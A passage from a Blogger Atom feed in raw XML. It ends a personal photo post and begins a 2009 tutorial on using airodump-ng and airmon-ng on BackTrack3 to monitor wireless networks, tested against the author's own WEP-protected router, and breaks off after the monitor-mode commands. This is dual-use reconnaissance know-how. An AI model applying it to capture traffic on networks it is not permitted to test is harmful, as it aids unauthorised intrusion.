{parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img199.imageshack.us/img199/8545/cimg0897.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 979px; height: 734px;" src="http://img199.imageshack.us/img199/8545/cimg0897.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img195.imageshack.us/img195/9351/cimg0903.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 979px; height: 734px;" src="http://img195.imageshack.us/img195/9351/cimg0903.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Actually got about a quarter of a jar of honey as well, can't complain I suppose !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-8073624128834051240?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/8073624128834051240/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2009/07/disaster-strikes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/8073624128834051240'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/8073624128834051240'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2009/07/disaster-strikes.html' title='Disaster strikes !'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-1915040281166524181</id><published>2009-05-17T12:19:00.011+02:00</published><updated>2009-10-25T10:34:19.109+01:00</updated><title type='text'>Using airodump-ng to monitor wireless networks</title><content type='html'>When checking wireless networks, one of the first things I use is airodump.&lt;br /&gt;&lt;br /&gt;Kismet is also a fantastic tool, however I find that airodump is good to find info quickly and you are able to quickly apply filters to narrow down your search easily.&lt;br /&gt;Kismet on the other hand is able to give other information such as IP ranges, hidden ssids (given enough time) and can also function as an IDS, so all depends what you want to do / what you need.&lt;br /&gt;&lt;br /&gt;In my case I am using an Asus eeepc with an Atheros wireless interface and am using trusty 'ol Back|Track3 Final on a live-usb.&lt;br /&gt;My test setup is a router with hidden SSID with 128bit WEP encryption.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The atheros chipset has a so-called master interface and virtual access points or VAPs.&lt;br /&gt;What we do is use the master interface (in this case wifi0) to create virtual interfaces.&lt;br /&gt;&lt;br /&gt;The first action to take is to check what wireless interfaces are up and to put your wireless card into monitor mode.&lt;br /&gt;&lt;br /&gt;Open up a terminal and do the below ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;airmon-ng&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;airmon-ng start wifi0&lt;/span&gt
